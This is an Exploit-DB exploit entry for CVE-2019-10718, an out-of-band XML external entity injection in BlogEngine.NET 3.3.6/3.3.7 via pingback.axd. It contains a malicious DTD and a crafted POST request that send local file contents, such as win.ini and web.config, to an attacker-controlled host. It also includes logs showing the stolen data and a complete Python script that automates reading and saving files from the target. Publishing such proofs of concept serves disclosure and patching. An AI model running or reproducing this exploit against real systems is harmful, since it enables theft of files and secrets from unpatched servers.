BlogEngine.NET 3.3.6/3.3.7 – XML External Entity Injection

  • 作者: Aaron Bishop
    日期: 2019-06-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47014/
  • # Exploit Title: Out-of-band XML External Entity Injection on BlogEngine.NET
    # Date: 19 June 2019
    # Exploit Author: Aaron Bishop
    # Vendor Homepage: https://blogengine.io/
    # Version: v3.3.7
    # Tested on: 3.3.7, 3.3.6
    # CVE : 2019-10718
    
    #1. Description
    #==============
    
    #BlogEngine.NET is vulnerable to an Out-of-Band XML External Entity
    #Injection attack on **/pingback.axd**.
    
    #2. Proof of Concept
    #=============
    
    #Host the following malicious DTD on a web server that is accessible to the
    #target system:
    
    #~~~
    #<!ENTITY % p1 SYSTEM "file:///C:/Windows/win.ini">
    #<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://$LHOST/X?%p1;'>"> %p2
    #~~~
    
    #Submit a request to `pingback.axd` containing a malicious XML body:
    
    #~~~{command="REQUEST"}
    #POST /pingback.axd HTTP/1.1
    #Host: $RHOST
    #Accept-Encoding: gzip, deflate
    #Connection: close
    #User-Agent: python-requests/2.12.4
    #Accept: */*
    #Content-Type: text/xml
    #Content-Length: 131
    
    #<?xml version="1.0"?>
    #<!DOCTYPE foo SYSTEM "http://$LHOST/ex.dtd">
    #<foo>&e1;</foo>
    #<methodName>pingback.ping</methodName>
    #~~~
    
    #The application will request the remote DTD and submit a subsequent request
    #containing the contents of the file:
    
    #~~~
    #$RHOST - - [17/May/2019 12:03:32] "GET /ex.dtd HTTP/1.1" 200 -
    #$RHOST - - [17/May/2019 12:03:32] "GET
    #/X?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1
    #HTTP/1.1" 200 -
    #~~~
    
    #! /usr/bin/env python3
    import argparse
    import http.server
    import json
    import multiprocessing
    import os
    import re
    import requests
    import sys
    import time
    import urllib
    
    """
    Exploit for CVE-2019-10718
    
    CVE Identified by: Aaron Bishop
    Exploit written by: Aaron Bishop
    
    Submit a XML to the target, get the contents of the file in a follow up request from the target
    
    python3 CVE-2019-10718.py --rhost http://$RHOST --lhost $LHOST --lport $LPORT --files C:/Windows/win.ini C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config C:/inetpub/wwwroot/iisstart.htm C:/Windows/iis.log C:/Users/Public/test.txt
    
    Requesting C:/Windows/win.ini ...
    $RHOST - - [16/May/2019 17:07:25] "GET /ex.dtd HTTP/1.1" 200 -
    $RHOST - - [16/May/2019 17:07:25] "GET /X?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1 HTTP/1.1" 200 -
    
    Requesting C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config ...
    $RHOST - - [16/May/2019 17:07:26] "GET /ex.dtd HTTP/1.1" 200 -
    Unable to read C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config
    
    Requesting C:/inetpub/wwwroot/iisstart.htm ...
    $RHOST - - [16/May/2019 17:07:30] "GET /ex.dtd HTTP/1.1" 200 -
    Unable to read C:/inetpub/wwwroot/iisstart.htm
    
    Requesting C:/Windows/iis.log ...
    $RHOST - - [16/May/2019 17:07:34] "GET /ex.dtd HTTP/1.1" 200 -
    Unable to read C:/Windows/iis.log
    
    Requesting C:/Users/Public/test.txt ...
    $RHOST - - [16/May/2019 17:07:38] "GET /ex.dtd HTTP/1.1" 200 -
    $RHOST - - [16/May/2019 17:07:38] "GET /X?This%20is%20a%20test HTTP/1.1" 200 -
    
    """
    
    xml = """<?xml version="1.0"?>
    <!DOCTYPE foo SYSTEM "http://{lhost}:{lport}/ex.dtd">
    <foo>&e1;</foo>
    <methodName>pingback.ping</methodName>
    """
    
    dtd = """<!ENTITY % p1 SYSTEM "file:///{fname}">
    <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://{lhost}:{lport}/X?%p1;'>"> %p2;
    """
    
    proxies = {
    "http": "127.0.0.1:8080",
    "https": "127.0.0.1:8080"
    }
    
    file_queue = multiprocessing.Queue()
    response_queue = multiprocessing.Queue()
    response_counter = multiprocessing.Value('i', 0)
    
    class S(http.server.SimpleHTTPRequestHandler):
    server_version = 'A Patchey Webserver'
    sys_version = '3.1415926535897932384626433832795028841971693993751058209749445923078'
    error_message_format = 'Donde esta la biblioteca?'
    
    def _set_headers(self):
    self.send_response(200)
    self.send_header('Content-Type', 'application/xml')
    self.end_headers()
    
    def do_GET(self):
    if self.path.endswith(".dtd"):
    self._set_headers()
    self.wfile.write(dtd.format(fname=file_queue.get(), lhost=self.lhost, lport=self.lport).encode('utf-8'))
    elif self.path.startswith("/X"):
    self._set_headers()
    response_counter.value += 1
    response_queue.put(self.path)
    self.wfile.write('<response>Thanks</response>'.encode('utf-8'))
    else:
    self._set_headers()
    self.wfile.write('<error>?</error>')
    
    
    def start_server(lhost, lport, server):
    httpd = http.server.HTTPServer((lhost, lport), server)
    httpd.serve_forever()
    
    def main(rhost, lhost, lport, files, timeout, proxy, output_dir):
    print(output_dir)
    if not output_dir:
    return
    for f in files:
    file_queue.put_nowait(f)
    
    server = S
    server.lhost, server.lport = lhost, lport
    p = multiprocessing.Process(target=start_server, args=(lhost,lport,server))
    p.start()
    for num, f in enumerate(files):
    print("\nRequesting {} ...".format(f))
    count = 0
    r = requests.post(rhost + "/pingback.axd", data=xml.format(lhost=lhost, lport=lport), proxies=proxies if proxy else {}, headers={"Content-Type": "text/xml"})
    response = True
    while num == response_counter.value:
    if count >= timeout:
    response = False
    response_counter.value += 1
    print("Unable to read {}".format(f))
    break
    time.sleep(1)
    count += 1
    if response:
    os.makedirs(output_dir, exist_ok=True)
    with open("{}/{}".format(output_dir, os.path.splitdrive(f)[1].replace(':','').replace('/','_')), 'w') as fh:
    fh.write(urllib.parse.unquote(response_queue.get()).replace('/X?',''))
    
    p.terminate()
    
    
    if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Exploit CVE-2019-10718 OOB XXE')
    parser.add_argument('-r', '--rhost', action="store", dest="rhost", required=True, help='Target host')
    parser.add_argument('-l', '--lhost', action="store", dest="lhost", required=True, help='Local host')
    parser.add_argument('-p', '--lport', action="store", dest="lport", type=int, required=True, help='Local port')
    parser.add_argument('-f', '--files', nargs='+', default="C:/Windows/win.ini", help='Files to read on RHOST')
    parser.add_argument('-t', '--timeout', type=int, default=3, help='How long to wait before moving on to next file')
    parser.add_argument('-x', '--proxy', dest="proxy", action="store_true", default=False, help='Pass requests through a proxy')
    parser.add_argument('-o', '--output', nargs='?', default="./CVE-2019-10718", help='Output directory.Default ./CVE-2019-10718')
    args = parser.parse_args()
    
    if isinstance(args.files, str):
    args.files = [args.files]
    main(args.rhost, args.lhost, args.lport, args.files, args.timeout, args.proxy, args.output)